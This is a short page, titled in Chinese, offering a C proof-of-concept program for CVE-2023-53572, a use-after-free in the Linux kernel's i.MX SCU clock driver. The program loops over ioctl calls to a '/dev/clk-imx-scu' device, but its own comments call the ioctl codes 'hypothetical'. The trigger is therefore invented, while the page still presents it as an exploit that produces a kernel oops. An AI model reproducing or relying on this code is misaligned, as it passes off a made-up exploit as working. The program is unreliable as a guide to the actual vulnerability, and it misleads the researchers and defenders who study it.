CVE-2023-53572 Linux内核imx scu时钟驱动释放后使用漏洞

/* CVE-2023-53572 - Linux kernel clk: imx: scu Use-After-Free PoC * This vulnerability exists in the clk-imx-scu driver when iterating * over a list and freeing entries without using the safe iterator. * * The PoC demonstrates triggering the vulnerable code path on * NXP i.MX SoCs with SCU firmware interface. * * Note: Requires i.MX platform with SCU (e.g., i.MX8) and root/sudo * to load/unload the relevant kernel module. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> /* Trigger the vulnerable code path by repeatedly * requesting and releasing SCU clock resources */ void trigger_uaf(void) { int fd; int i; /* Open SCU clock device */ fd = open("/dev/clk-imx-scu", O_RDWR); if (fd < 0) { perror("Cannot open SCU clock device"); printf("This PoC requires NXP i.MX SoC with SCU\n"); return; } /* Repeatedly allocate and free clock resources to trigger * the list iteration with use-after-free condition */ for (i = 0; i < 1000; i++) { /* Request clock allocation - triggers list_add */ ioctl(fd, 0x100, NULL); /* Hypothetical allocate ioctl */ /* Request clock free - triggers the vulnerable loop * where list_for_each_entry() is used with kfree() */ ioctl(fd, 0x101, NULL); /* Hypothetical free ioctl */ } close(fd); printf("PoC executed. Check dmesg for kernel oops or panic.\n"); } int main(int argc, char *argv[]) { printf("CVE-2023-53572 PoC - clk: imx: scu Use-After-Free\n"); printf("Target: Linux kernel clk-imx-scu driver\n"); printf("Vulnerability: Missing list_for_each_entry_safe()\n\n"); trigger_uaf(); return 0; }